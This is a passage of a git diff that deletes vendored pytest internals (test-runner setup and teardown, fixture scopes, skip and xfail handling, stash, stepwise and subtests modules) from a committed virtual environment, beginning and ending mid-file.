finalizers to - each of session, mod1, item1 using addfinalizer(). - - During the teardown phase of item1, teardown_exact(item2) is called, - where item2 is the next item to item1. What it does is: - - pop item1 from stack, run its teardowns - pop mod1 from stack, run its teardowns - - mod1 was popped because it ended its purpose with item1. The stack is: - - [session] - - During the setup phase of item2, setup(item2) is called. What it does - is: - - push mod2 to stack, run mod2.setup() - push item2 to stack, run item2.setup() - - Stack: - - [session, mod2, item2] - - During the teardown phase of item2, teardown_exact(None) is called, - because item2 is the last item. What it does is: - - pop item2 from stack, run its teardowns - pop mod2 from stack, run its teardowns - pop session from stack, run its teardowns - - Stack: - - [] - - The end! - """ - - def __init__(self) -> None: - # The stack is in the dict insertion order. - self.stack: dict[ - Node, - tuple[ - # Node's finalizers. - list[Callable[[], object]], - # Node's exception and original traceback, if its setup raised. - tuple[OutcomeException | Exception, types.TracebackType | None] | None, - ], - ] = {} - - def is_node_active(self, node: Node) -> bool: - """Check if a node is currently active in the stack -- set up and not - torn down yet.""" - return node in self.stack - - def setup(self, item: Item) -> None: - """Setup objects along the collector chain to the item.""" - needed_collectors = item.listchain() - - # If a collector fails its setup, fail its entire subtree of items. - # The setup is not retried for each item - the same exception is used. - for col, (finalizers, exc) in self.stack.items(): - assert col in needed_collectors, "previous item was not torn down properly" - if exc: - raise exc[0].with_traceback(exc[1]) - - for col in needed_collectors[len(self.stack) :]: - assert col not in self.stack - # Push onto the stack. - self.stack[col] = ([col.teardown], None) - try: - col.setup() - except TEST_OUTCOME as exc: - self.stack[col] = (self.stack[col][0], (exc, exc.__traceback__)) - raise - - def addfinalizer(self, finalizer: Callable[[], object], node: Node) -> None: - """Attach a finalizer to the given node. - - The node must be currently active in the stack. - """ - assert node and not isinstance(node, tuple) - assert callable(finalizer) - assert node in self.stack, (node, self.stack) - self.stack[node][0].append(finalizer) - - def teardown_exact(self, nextitem: Item | None) -> None: - """Teardown the current stack up until reaching nodes that nextitem - also descends from. - - When nextitem is None (meaning we're at the last item), the entire - stack is torn down. - """ - needed_collectors = (nextitem and nextitem.listchain()) or [] - exceptions: list[BaseException] = [] - while self.stack: - if list(self.stack.keys()) == needed_collectors[: len(self.stack)]: - break - node, (finalizers, _) = self.stack.popitem() - these_exceptions = [] - while finalizers: - fin = finalizers.pop() - try: - fin() - except TEST_OUTCOME as e: - these_exceptions.append(e) - - if len(these_exceptions) == 1: - exceptions.extend(these_exceptions) - elif these_exceptions: - msg = f"errors while tearing down {node!r}" - exceptions.append(BaseExceptionGroup(msg, these_exceptions[::-1])) - - if len(exceptions) == 1: - raise exceptions[0] - elif exceptions: - raise BaseExceptionGroup("errors during test teardown", exceptions[::-1]) - if nextitem is None: - assert not self.stack - - -def collect_one_node(collector: Collector) -> CollectReport: - ihook = collector.ihook - ihook.pytest_collectstart(collector=collector) - rep: CollectReport = ihook.pytest_make_collect_report(collector=collector) - call = rep.__dict__.pop("call", None) - if call and check_interactive_exception(call, rep): - ihook.pytest_exception_interact(node=collector, call=call, report=rep) - return rep diff --git a/venv/Lib/site-packages/_pytest/scope.py b/venv/Lib/site-packages/_pytest/scope.py deleted file mode 100644 index 68a9da0e6b896bc663f5fba4d1f15f4a91077234..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/scope.py +++ /dev/null @@ -1,91 +0,0 @@ -""" -Scope definition and related utilities. - -Those are defined here, instead of in the 'fixtures' module because -their use is spread across many other pytest modules, and centralizing it in 'fixtures' -would cause circular references. - -Also this makes the module light to import, as it should. -""" - -from __future__ import annotations - -from enum import Enum -from functools import total_ordering -from typing import Literal - - -ScopeName = Literal["session", "package", "module", "class", "function"] - - -@total_ordering -class Scope(Enum): - """ - Represents one of the possible fixture scopes in pytest. - - Scopes are ordered from lower to higher, that is: - - ->>> higher ->>> - - Function < Class < Module < Package < Session - - <<<- lower <<<- - """ - - # Scopes need to be listed from lower to higher. - Function = "function" - Class = "class" - Module = "module" - Package = "package" - Session = "session" - - def next_lower(self) -> Scope: - """Return the next lower scope.""" - index = _SCOPE_INDICES[self] - if index == 0: - raise ValueError(f"{self} is the lower-most scope") - return _ALL_SCOPES[index - 1] - - def next_higher(self) -> Scope: - """Return the next higher scope.""" - index = _SCOPE_INDICES[self] - if index == len(_SCOPE_INDICES) - 1: - raise ValueError(f"{self} is the upper-most scope") - return _ALL_SCOPES[index + 1] - - def __lt__(self, other: Scope) -> bool: - self_index = _SCOPE_INDICES[self] - other_index = _SCOPE_INDICES[other] - return self_index < other_index - - @classmethod - def from_user( - cls, scope_name: ScopeName, descr: str, where: str | None = None - ) -> Scope: - """ - Given a scope name from the user, return the equivalent Scope enum. Should be used - whenever we want to convert a user provided scope name to its enum object. - - If the scope name is invalid, construct a user friendly message and call pytest.fail. - """ - from _pytest.outcomes import fail - - try: - # Holding this reference is necessary for mypy at the moment. - scope = Scope(scope_name) - except ValueError: - fail( - "{} {}got an unexpected scope value '{}'".format( - descr, f"from {where} " if where else "", scope_name - ), - pytrace=False, - ) - return scope - - -_ALL_SCOPES = list(Scope) -_SCOPE_INDICES = {scope: index for index, scope in enumerate(_ALL_SCOPES)} - - -# Ordered list of scopes which can contain many tests (in practice all except Function). -HIGH_SCOPES = [x for x in Scope if x is not Scope.Function] diff --git a/venv/Lib/site-packages/_pytest/setuponly.py b/venv/Lib/site-packages/_pytest/setuponly.py deleted file mode 100644 index 7e6b46bcdb4ab6e646653df9f847b11b5f50e943..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/setuponly.py +++ /dev/null @@ -1,98 +0,0 @@ -from __future__ import annotations - -from collections.abc import Generator - -from _pytest._io.saferepr import saferepr -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config.argparsing import Parser -from _pytest.fixtures import FixtureDef -from _pytest.fixtures import SubRequest -from _pytest.scope import Scope -import pytest - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("debugconfig") - group.addoption( - "--setuponly", - "--setup-only", - action="store_true", - help="Only setup fixtures, do not execute tests", - ) - group.addoption( - "--setupshow", - "--setup-show", - action="store_true", - help="Show setup of fixtures while executing tests", - ) - - -@pytest.hookimpl(wrapper=True) -def pytest_fixture_setup( - fixturedef: FixtureDef[object], request: SubRequest -) -> Generator[None, object, object]: - try: - return (yield) - finally: - if request.config.option.setupshow: - if hasattr(request, "param"): - # Save the fixture parameter so ._show_fixture_action() can - # display it now and during the teardown (in .finish()). - if fixturedef.ids: - if callable(fixturedef.ids): - param = fixturedef.ids(request.param) - else: - param = fixturedef.ids[request.param_index] - else: - param = request.param - fixturedef.cached_param = param # type: ignore[attr-defined] - _show_fixture_action(fixturedef, request.config, "SETUP") - - -def pytest_fixture_post_finalizer( - fixturedef: FixtureDef[object], request: SubRequest -) -> None: - if fixturedef.cached_result is not None: - config = request.config - if config.option.setupshow: - _show_fixture_action(fixturedef, request.config, "TEARDOWN") - if hasattr(fixturedef, "cached_param"): - del fixturedef.cached_param - - -def _show_fixture_action( - fixturedef: FixtureDef[object], config: Config, msg: str -) -> None: - capman = config.pluginmanager.getplugin("capturemanager") - if capman: - capman.suspend_global_capture() - - tw = config.get_terminal_writer() - tw.line() - # Use smaller indentation the higher the scope: Session = 0, Package = 1, etc. - scope_indent = list(reversed(Scope)).index(fixturedef._scope) - tw.write(" " * 2 * scope_indent) - - scopename = fixturedef.scope[0].upper() - tw.write(f"{msg:<8} {scopename} {fixturedef.argname}") - - if msg == "SETUP": - deps = sorted(arg for arg in fixturedef.argnames if arg != "request") - if deps: - tw.write(" (fixtures used: {})".format(", ".join(deps))) - - if hasattr(fixturedef, "cached_param"): - tw.write(f"[{saferepr(fixturedef.cached_param, maxsize=42)}]") - - tw.flush() - - if capman: - capman.resume_global_capture() - - -@pytest.hookimpl(tryfirst=True) -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.setuponly: - config.option.setupshow = True - return None diff --git a/venv/Lib/site-packages/_pytest/setupplan.py b/venv/Lib/site-packages/_pytest/setupplan.py deleted file mode 100644 index 4e124cce2434e02d928c8ceb8cc8eaf63e271404..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/setupplan.py +++ /dev/null @@ -1,39 +0,0 @@ -from __future__ import annotations - -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config.argparsing import Parser -from _pytest.fixtures import FixtureDef -from _pytest.fixtures import SubRequest -import pytest - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("debugconfig") - group.addoption( - "--setupplan", - "--setup-plan", - action="store_true", - help="Show what fixtures and tests would be executed but " - "don't execute anything", - ) - - -@pytest.hookimpl(tryfirst=True) -def pytest_fixture_setup( - fixturedef: FixtureDef[object], request: SubRequest -) -> object | None: - # Will return a dummy fixture if the setuponly option is provided. - if request.config.option.setupplan: - my_cache_key = fixturedef.cache_key(request) - fixturedef.cached_result = (None, my_cache_key, None) - return fixturedef.cached_result - return None - - -@pytest.hookimpl(tryfirst=True) -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.setupplan: - config.option.setuponly = True - config.option.setupshow = True - return None diff --git a/venv/Lib/site-packages/_pytest/skipping.py b/venv/Lib/site-packages/_pytest/skipping.py deleted file mode 100644 index f7a4c4c04e3a5b82350a2c5138af4441c543e2bf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/skipping.py +++ /dev/null @@ -1,321 +0,0 @@ -# mypy: allow-untyped-defs -"""Support for skip/xfail functions and markers.""" - -from __future__ import annotations - -from collections.abc import Generator -from collections.abc import Mapping -import dataclasses -import os -import platform -import sys -import traceback - -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.mark.structures import Mark -from _pytest.nodes import Item -from _pytest.outcomes import fail -from _pytest.outcomes import skip -from _pytest.outcomes import xfail -from _pytest.raises import AbstractRaises -from _pytest.reports import BaseReport -from _pytest.reports import TestReport -from _pytest.runner import CallInfo -from _pytest.stash import StashKey - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group.addoption( - "--runxfail", - action="store_true", - dest="runxfail", - default=False, - help="Report the results of xfail tests as if they were not marked", - ) - - parser.addini( - "strict_xfail", - "Default for the strict parameter of xfail " - "markers when not given explicitly (default: False) (alias: xfail_strict)", - type="bool", - # None => fallback to `strict`. - default=None, - aliases=["xfail_strict"], - ) - - -def pytest_configure(config: Config) -> None: - if config.option.runxfail: - # yay a hack - import pytest - - old = pytest.xfail - config.add_cleanup(lambda: setattr(pytest, "xfail", old)) - - def nop(*args, **kwargs): - pass - - nop.Exception = xfail.Exception # type: ignore[attr-defined] - setattr(pytest, "xfail", nop) - - config.addinivalue_line( - "markers", - "skip(reason=None): skip the given test function with an optional reason. " - 'Example: skip(reason="no way of currently testing this") skips the ' - "test.", - ) - config.addinivalue_line( - "markers", - "skipif(condition, ..., *, reason=...): " - "skip the given test function if any of the conditions evaluate to True. " - "Example: skipif(sys.platform == 'win32') skips the test if we are on the win32 platform. " - "See https://docs.pytest.org/en/stable/reference/reference.html#pytest-mark-skipif", - ) - config.addinivalue_line( - "markers", - "xfail(condition, ..., *, reason=..., run=True, raises=None, strict=strict_xfail): " - "mark the test function as an expected failure if any of the conditions " - "evaluate to True. Optionally specify a reason for better reporting " - "and run=False if you don't even want to execute the test function. " - "If only specific exception(s) are expected, you can list them in " - "raises, and if the test fails in other ways, it will be reported as " - "a true failure. See https://docs.pytest.org/en/stable/reference/reference.html#pytest-mark-xfail", - ) - - -def evaluate_condition(item: Item, mark: Mark, condition: object) -> tuple[bool, str]: - """Evaluate a single skipif/xfail condition. - - If an old-style string condition is given, it is eval()'d, otherwise the - condition is bool()'d. If this fails, an appropriately formatted pytest.fail - is raised. - - Returns (result, reason). The reason is only relevant if the result is True. - """ - # String condition. - if isinstance(condition, str): - globals_ = { - "os": os, - "sys": sys, - "platform": platform, - "config": item.config, - } - for dictionary in reversed( - item.ihook.pytest_markeval_namespace(config=item.config) - ): - if not isinstance(dictionary, Mapping): - raise ValueError( - f"pytest_markeval_namespace() needs to return a dict, got {dictionary!r}" - ) - globals_.update(dictionary) - if hasattr(item, "obj"): - globals_.update(item.obj.__globals__) - try: - filename = f"<{mark.name} condition>" - condition_code = compile(condition, filename, "eval") - result = eval(condition_code, globals_) - except SyntaxError as exc: - msglines = [ - f"Error evaluating {mark.name!r} condition", - " " + condition, - " " + " " * (exc.offset or 0) + "^", - "SyntaxError: invalid syntax", - ] - fail("\n".join(msglines), pytrace=False) - except Exception as exc: - msglines = [ - f"Error evaluating {mark.name!r} condition", - " " + condition, - *traceback.format_exception_only(exc), - ] - fail("\n".join(msglines), pytrace=False) - - # Boolean condition. - else: - try: - result = bool(condition) - except Exception as exc: - msglines = [ - f"Error evaluating {mark.name!r} condition as a boolean", - *traceback.format_exception_only(exc), - ] - fail("\n".join(msglines), pytrace=False) - - reason = mark.kwargs.get("reason", None) - if reason is None: - if isinstance(condition, str): - reason = "condition: " + condition - else: - # XXX better be checked at collection time - msg = ( - f"Error evaluating {mark.name!r}: " - + "you need to specify reason=STRING when using booleans as conditions." - ) - fail(msg, pytrace=False) - - return result, reason - - -@dataclasses.dataclass(frozen=True) -class Skip: - """The result of evaluate_skip_marks().""" - - reason: str = "unconditional skip" - - -def evaluate_skip_marks(item: Item) -> Skip | None: - """Evaluate skip and skipif marks on item, returning Skip if triggered.""" - for mark in item.iter_markers(name="skipif"): - if "condition" not in mark.kwargs: - conditions = mark.args - else: - conditions = (mark.kwargs["condition"],) - - # Unconditional. - if not conditions: - reason = mark.kwargs.get("reason", "") - return Skip(reason) - - # If any of the conditions are true. - for condition in conditions: - result, reason = evaluate_condition(item, mark, condition) - if result: - return Skip(reason) - - for mark in item.iter_markers(name="skip"): - try: - return Skip(*mark.args, **mark.kwargs) - except TypeError as e: - raise TypeError(str(e) + " - maybe you meant pytest.mark.skipif?") from None - - return None - - -@dataclasses.dataclass(frozen=True) -class Xfail: - """The result of evaluate_xfail_marks().""" - - __slots__ = ("raises", "reason", "run", "strict") - - reason: str - run: bool - strict: bool - raises: ( - type[BaseException] - | tuple[type[BaseException], ...] - | AbstractRaises[BaseException] - | None - ) - - -def evaluate_xfail_marks(item: Item) -> Xfail | None: - """Evaluate xfail marks on item, returning Xfail if triggered.""" - for mark in item.iter_markers(name="xfail"): - run = mark.kwargs.get("run", True) - strict = mark.kwargs.get("strict") - if strict is None: - strict = item.config.getini("strict_xfail") - if strict is None: - strict = item.config.getini("strict") - raises = mark.kwargs.get("raises", None) - if "condition" not in mark.kwargs: - conditions = mark.args - else: - conditions = (mark.kwargs["condition"],) - - # Unconditional. - if not conditions: - reason = mark.kwargs.get("reason", "") - return Xfail(reason, run, strict, raises) - - # If any of the conditions are true. - for condition in conditions: - result, reason = evaluate_condition(item, mark, condition) - if result: - return Xfail(reason, run, strict, raises) - - return None - - -# Saves the xfail mark evaluation. Can be refreshed during call if None. -xfailed_key = StashKey[Xfail | None]() - - -@hookimpl(tryfirst=True) -def pytest_runtest_setup(item: Item) -> None: - skipped = evaluate_skip_marks(item) - if skipped: - raise skip.Exception(skipped.reason, _use_item_location=True) - - item.stash[xfailed_key] = xfailed = evaluate_xfail_marks(item) - if xfailed and not item.config.option.runxfail and not xfailed.run: - xfail("[NOTRUN] " + xfailed.reason) - - -@hookimpl(wrapper=True) -def pytest_runtest_call(item: Item) -> Generator[None]: - xfailed = item.stash.get(xfailed_key, None) - if xfailed is None: - item.stash[xfailed_key] = xfailed = evaluate_xfail_marks(item) - - if xfailed and not item.config.option.runxfail and not xfailed.run: - xfail("[NOTRUN] " + xfailed.reason) - - try: - return (yield) - finally: - # The test run may have added an xfail mark dynamically. - xfailed = item.stash.get(xfailed_key, None) - if xfailed is None: - item.stash[xfailed_key] = xfailed = evaluate_xfail_marks(item) - - -@hookimpl(wrapper=True) -def pytest_runtest_makereport( - item: Item, call: CallInfo[None] -) -> Generator[None, TestReport, TestReport]: - rep = yield - xfailed = item.stash.get(xfailed_key, None) - if item.config.option.runxfail: - pass # don't interfere - elif call.excinfo and isinstance(call.excinfo.value, xfail.Exception): - assert call.excinfo.value.msg is not None - rep.wasxfail = call.excinfo.value.msg - rep.outcome = "skipped" - elif not rep.skipped and xfailed: - if call.excinfo: - raises = xfailed.raises - if raises is None or ( - ( - isinstance(raises, type | tuple) - and isinstance(call.excinfo.value, raises) - ) - or ( - isinstance(raises, AbstractRaises) - and raises.matches(call.excinfo.value) - ) - ): - rep.outcome = "skipped" - rep.wasxfail = xfailed.reason - else: - rep.outcome = "failed" - elif call.when == "call": - if xfailed.strict: - rep.outcome = "failed" - rep.longrepr = "[XPASS(strict)] " + xfailed.reason - else: - rep.outcome = "passed" - rep.wasxfail = xfailed.reason - return rep - - -def pytest_report_teststatus(report: BaseReport) -> tuple[str, str, str] | None: - if hasattr(report, "wasxfail"): - if report.skipped: - return "xfailed", "x", "XFAIL" - elif report.passed: - return "xpassed", "X", "XPASS" - return None diff --git a/venv/Lib/site-packages/_pytest/stash.py b/venv/Lib/site-packages/_pytest/stash.py deleted file mode 100644 index 6a9ff884e04880129db61e4b521be72e18c31919..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/stash.py +++ /dev/null @@ -1,116 +0,0 @@ -from __future__ import annotations - -from typing import Any -from typing import cast -from typing import Generic -from typing import TypeVar - - -__all__ = ["Stash", "StashKey"] - - -T = TypeVar("T") -D = TypeVar("D") - - -class StashKey(Generic[T]): - """``StashKey`` is an object used as a key to a :class:`Stash`. - - A ``StashKey`` is associated with the type ``T`` of the value of the key. - - A ``StashKey`` is unique and cannot conflict with another key. - - .. versionadded:: 7.0 - """ - - __slots__ = () - - -class Stash: - r"""``Stash`` is a type-safe heterogeneous mutable mapping that - allows keys and value types to be defined separately from - where it (the ``Stash``) is created. - - Usually you will be given an object which has a ``Stash``, for example - :class:`~pytest.Config` or a :class:`~_pytest.nodes.Node`: - - .. code-block:: python - - stash: Stash = some_object.stash - - If a module or plugin wants to store data in this ``Stash``, it creates - :class:`StashKey`\s for its keys (at the module level): - - .. code-block:: python - - # At the top-level of the module - some_str_key = StashKey[str]() - some_bool_key = StashKey[bool]() - - To store information: - - .. code-block:: python - - # Value type must match the key. - stash[some_str_key] = "value" - stash[some_bool_key] = True - - To retrieve the information: - - .. code-block:: python - - # The static type of some_str is str. - some_str = stash[some_str_key] - # The static type of some_bool is bool. - some_bool = stash[some_bool_key] - - .. versionadded:: 7.0 - """ - - __slots__ = ("_storage",) - - def __init__(self) -> None: - self._storage: dict[StashKey[Any], object] = {} - - def __setitem__(self, key: StashKey[T], value: T) -> None: - """Set a value for key.""" - self._storage[key] = value - - def __getitem__(self, key: StashKey[T]) -> T: - """Get the value for key. - - Raises ``KeyError`` if the key wasn't set before. - """ - return cast(T, self._storage[key]) - - def get(self, key: StashKey[T], default: D) -> T | D: - """Get the value for key, or return default if the key wasn't set - before.""" - try: - return self[key] - except KeyError: - return default - - def setdefault(self, key: StashKey[T], default: T) -> T: - """Return the value of key if already set, otherwise set the value - of key to default and return default.""" - try: - return self[key] - except KeyError: - self[key] = default - return default - - def __delitem__(self, key: StashKey[T]) -> None: - """Delete the value for key. - - Raises ``KeyError`` if the key wasn't set before. - """ - del self._storage[key] - - def __contains__(self, key: StashKey[T]) -> bool: - """Return whether key was set.""" - return key in self._storage - - def __len__(self) -> int: - """Return how many items exist in the stash.""" - return len(self._storage) diff --git a/venv/Lib/site-packages/_pytest/stepwise.py b/venv/Lib/site-packages/_pytest/stepwise.py deleted file mode 100644 index 8901540eb59760822b1346861f8f8098fabe83a4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/stepwise.py +++ /dev/null @@ -1,209 +0,0 @@ -from __future__ import annotations - -import dataclasses -from datetime import datetime -from datetime import timedelta -from typing import Any -from typing import TYPE_CHECKING - -from _pytest import nodes -from _pytest.cacheprovider import Cache -from _pytest.config import Config -from _pytest.config.argparsing import Parser -from _pytest.main import Session -from _pytest.reports import TestReport - - -if TYPE_CHECKING: - from typing_extensions import Self - -STEPWISE_CACHE_DIR = "cache/stepwise" - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group.addoption( - "--sw", - "--stepwise", - action="store_true", - default=False, - dest="stepwise", - help="Exit on test failure and continue from last failing test next time", - ) - group.addoption( - "--sw-skip", - "--stepwise-skip", - action="store_true", - default=False, - dest="stepwise_skip", - help="Ignore the first failing test but stop on the next failing test. " - "Implicitly enables --stepwise.", - ) - group.addoption( - "--sw-reset", - "--stepwise-reset", - action="store_true", - default=False, - dest="stepwise_reset", - help="Resets stepwise state, restarting the stepwise workflow. " - "Implicitly enables --stepwise.", - ) - - -def pytest_configure(config: Config) -> None: - # --stepwise-skip/--stepwise-reset implies stepwise. - if config.option.stepwise_skip or config.option.stepwise_reset: - config.option.stepwise = True - if config.getoption("stepwise"): - config.pluginmanager.register(StepwisePlugin(config), "stepwiseplugin") - - -def pytest_sessionfinish(session: Session) -> None: - if not session.config.getoption("stepwise"): - assert session.config.cache is not None - if hasattr(session.config, "workerinput"): - # Do not update cache if this process is a xdist worker to prevent - # race conditions (#10641). - return - - -@dataclasses.dataclass -class StepwiseCacheInfo: - # The nodeid of the last failed test. - last_failed: str | None - - # The number of tests in the last time --stepwise was run. - # We use this information as a simple way to invalidate the cache information, avoiding - # confusing behavior in case the cache is stale. - last_test_count: int | None - - # The date when the cache was last updated, for information purposes only. - last_cache_date_str: str - - @property - def last_cache_date(self) -> datetime: - return datetime.fromisoformat(self.last_cache_date_str) - - @classmethod - def empty(cls) -> Self: - return cls( - last_failed=None, - last_test_count=None, - last_cache_date_str=datetime.now().isoformat(), - ) - - def update_date_to_now(self) -> None: - self.last_cache_date_str = datetime.now().isoformat() - - -class StepwisePlugin: - def __init__(self, config: Config) -> None: - self.config = config - self.session: Session | None = None - self.report_status: list[str] = [] - assert config.cache is not None - self.cache: Cache = config.cache - self.skip: bool = config.getoption("stepwise_skip") - self.reset: bool = config.getoption("stepwise_reset") - self.cached_info = self._load_cached_info() - - def _load_cached_info(self) -> StepwiseCacheInfo: - cached_dict: dict[str, Any] | None = self.cache.get(STEPWISE_CACHE_DIR, None) - if cached_dict: - try: - return StepwiseCacheInfo( - cached_dict["last_failed"], - cached_dict["last_test_count"], - cached_dict["last_cache_date_str"], - ) - except (KeyError, TypeError) as e: - error = f"{type(e).__name__}: {e}" - self.report_status.append(f"error reading cache, discarding ({error})") - - # Cache not found or error during load, return a new cache. - return StepwiseCacheInfo.empty() - - def pytest_sessionstart(self, session: Session) -> None: - self.session = session - - def pytest_collection_modifyitems( - self, config: Config, items: list[nodes.Item] - ) -> None: - last_test_count = self.cached_info.last_test_count - self.cached_info.last_test_count = len(items) - - if self.reset: - self.report_status.append("resetting state, not skipping.") - self.cached_info.last_failed = None - return - - if not self.cached_info.last_failed: - self.report_status.append("no previously failed tests, not skipping.") - return - - if last_test_count is not None and last_test_count != len(items): - self.report_status.append( - f"test count changed, not skipping (now {len(items)} tests, previously {last_test_count})." - ) - self.cached_info.last_failed = None - return - - # Check all item nodes until we find a match on last failed. - failed_index = None - for index, item in enumerate(items): - if item.nodeid == self.cached_info.last_failed: - failed_index = index - break - - # If the previously failed test was not found among the test items, - # do not skip any tests. - if failed_index is None: - self.report_status.append("previously failed test not found, not skipping.") - else: - cache_age = datetime.now() - self.cached_info.last_cache_date - # Round up to avoid showing microseconds. - cache_age = timedelta(seconds=int(cache_age.total_seconds())) - self.report_status.append( - f"skipping {failed_index} already passed items (cache from {cache_age} ago," - f" use --sw-reset to discard)." - ) - deselected = items[:failed_index] - del items[:failed_index] - config.hook.pytest_deselected(items=deselected) - - def pytest_runtest_logreport(self, report: TestReport) -> None: - if report.failed: - if self.skip: - # Remove test from the failed ones (if it exists) and unset the skip option - # to make sure the following tests will not be skipped. - if report.nodeid == self.cached_info.last_failed: - self.cached_info.last_failed = None - - self.skip = False - else: - # Mark test as the last failing and interrupt the test session. - self.cached_info.last_failed = report.nodeid - assert self.session is not None - self.session.shouldstop = ( - "Test failed, continuing from this test next run." - ) - - else: - # If the test was actually run and did pass. - if report.when == "call": - # Remove test from the failed ones, if exists. - if report.nodeid == self.cached_info.last_failed: - self.cached_info.last_failed = None - - def pytest_report_collectionfinish(self) -> list[str] | None: - if self.config.get_verbosity() >= 0 and self.report_status: - return [f"stepwise: {x}" for x in self.report_status] - return None - - def pytest_sessionfinish(self) -> None: - if hasattr(self.config, "workerinput"): - # Do not update cache if this process is a xdist worker to prevent - # race conditions (#10641). - return - self.cached_info.update_date_to_now() - self.cache.set(STEPWISE_CACHE_DIR, dataclasses.asdict(self.cached_info)) diff --git a/venv/Lib/site-packages/_pytest/subtests.py b/venv/Lib/site-packages/_pytest/subtests.py deleted file mode 100644 index 6ac3b5cd034b0bf256c56069bd5b5a3e880a7342..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/subtests.py +++ /dev/null @@ -1,418 +0,0 @@ -"""Builtin plugin that adds subtests support.""" - -from __future__ import annotations - -from collections import defaultdict -from collections.abc import Callable -from collections.abc import Iterator -from collections.abc import Mapping -from contextlib import AbstractContextManager -from contextlib import contextmanager -from contextlib import ExitStack -from contextlib import nullcontext -import dataclasses -import time -from types import TracebackType -from typing import Any -from typing import TYPE_CHECKING - -import pluggy - -from _pytest._code import ExceptionInfo -from _pytest._io.saferepr import saferepr -from _pytest.capture import CaptureFixture -from _pytest.capture import FDCapture -from _pytest.capture import SysCapture -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import SubRequest -from _pytest.logging import catching_logs -from _pytest.logging import LogCaptureHandler -from _pytest.logging import LoggingPlugin -from _pytest.reports import TestReport -from _pytest.runner import CallInfo -from _pytest.runner import check_interactive_exception -from _pytest.runner import get_reraise_exceptions -from _pytest.stash import StashKey - - -if TYPE_CHECKING: - from typing_extensions import Self - - -def pytest_addoption(parser: Parser) -> None: - Config._add_verbosity_ini( - parser, - Config.VERBOSITY_SUBTESTS, - help=( - "Specify verbosity level for subtests. " - "Higher levels will generate output for passed subtests. Failed subtests are always reported." - ), - ) - - -@dataclasses.dataclass(frozen=True, slots=True, kw_only=True) -class SubtestContext: - """The values passed to Subtests.test() that are included in the test report.""" - - msg: str | None - kwargs: Mapping[str, Any] - - def __post_init__(self) -> None: - # Brute-force the returned kwargs dict to be JSON serializable (pytest-dev/pytest-xdist#1273). - object.__setattr__( - self, "kwargs", {k: saferepr(v) for (k, v) in self.kwargs.items()} - ) - - def _to_json(self) -> dict[str, Any]: - result = dataclasses.asdict(self) - return result - - @classmethod - def _from_json(cls, d: dict[str, Any]) -> Self: - return cls(msg=d["msg"], kwargs=d["kwargs"]) - - -@dataclasses.dataclass(init=False) -class SubtestReport(TestReport): - context: SubtestContext - - @property - def head_line(self) -> str: - _, _, domain = self.location - return f"{domain} {self._sub_test_description()}" - - def _sub_test_description(self) -> str: - parts = [] - if self.context.msg is not None: - parts.append(f"[{self.context.msg}]") - if self.context.kwargs: - params_desc = ", ".join( - f"{k}={v}" for (k, v) in self.context.kwargs.items() - ) - parts.append(f"({params_desc})") - return " ".join(parts) or "()" - - def _to_json(self) -> dict[str, Any]: - data = super()._to_json() - del data["context"] - data["_report_type"] = "SubTestReport" - data["_subtest.context"] = self.context._to_json() - return data - - @classmethod - def _from_json(cls, reportdict: dict[str, Any]) -> SubtestReport: - report = super()._from_json(reportdict) - report.context = SubtestContext._from_json(reportdict["_subtest.context"]) - return report - - @classmethod - def _new( - cls, - test_report: TestReport, - context: SubtestContext, - captured_output: Captured | None, - captured_logs: CapturedLogs | None, - ) -> Self: - result = super()._from_json(test_report._to_json()) - result.context = context - - if captured_output: - if captured_output.out: - result.sections.append(("Captured stdout call", captured_output.out)) - if captured_output.err: - result.sections.append(("Captured stderr call", captured_output.err)) - - if captured_logs and (log := captured_logs.handler.stream.getvalue()): - result.sections.append(("Captured log call", log)) - - return result - - -@fixture -def subtests(request: SubRequest) -> Subtests: - """Provides subtests functionality.""" - capmam = request.node.config.pluginmanager.get_plugin("capturemanager") - suspend_capture_ctx = ( - capmam.global_and_fixture_disabled if capmam is not None else nullcontext - ) - return Subtests(request.node.ihook, suspend_capture_ctx, request, _ispytest=True) - - -class Subtests: - """Subtests fixture, enables declaring subtests inside test functions via the :meth:`test` method.""" - - def __init__( - self, - ihook: pluggy.HookRelay, - suspend_capture_ctx: Callable[[], AbstractContextManager[None]], - request: SubRequest, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._ihook = ihook - self._suspend_capture_ctx = suspend_capture_ctx - self._request = request - - def test( - self, - msg: str | None = None, - **kwargs: Any, - ) -> _SubTestContextManager: - """ - Context manager for subtests, capturing exceptions raised inside the subtest scope and - reporting assertion failures and errors individually. - - Usage - ----- - - .. code-block:: python - - def test(subtests): - for i in range(5): - with subtests.test("custom message", i=i): - assert i % 2 == 0 - - :param msg: - If given, the message will be shown in the test report in case of subtest failure. - - :param kwargs: - Arbitrary values that are also added to the subtest report. - """ - return _SubTestContextManager( - self._ihook, - msg, - kwargs, - request=self._request, - suspend_capture_ctx=self._suspend_capture_ctx, - config=self._request.config, - ) - - -@dataclasses.dataclass -class _SubTestContextManager: - """ - Context manager for subtests, capturing exceptions raised inside the subtest scope and handling - them through the pytest machinery. - """ - - # Note: initially the logic for this context manager was implemented directly - # in Subtests.test() as a @contextmanager, however, it is not possible to control the output fully when - # exiting from it due to an exception when in `--exitfirst` mode, so this was refactored into an - # explicit context manager class (pytest-dev/pytest-subtests#134). - - ihook: pluggy.HookRelay - msg: str | None - kwargs: dict[str, Any] - suspend_capture_ctx: Callable[[], 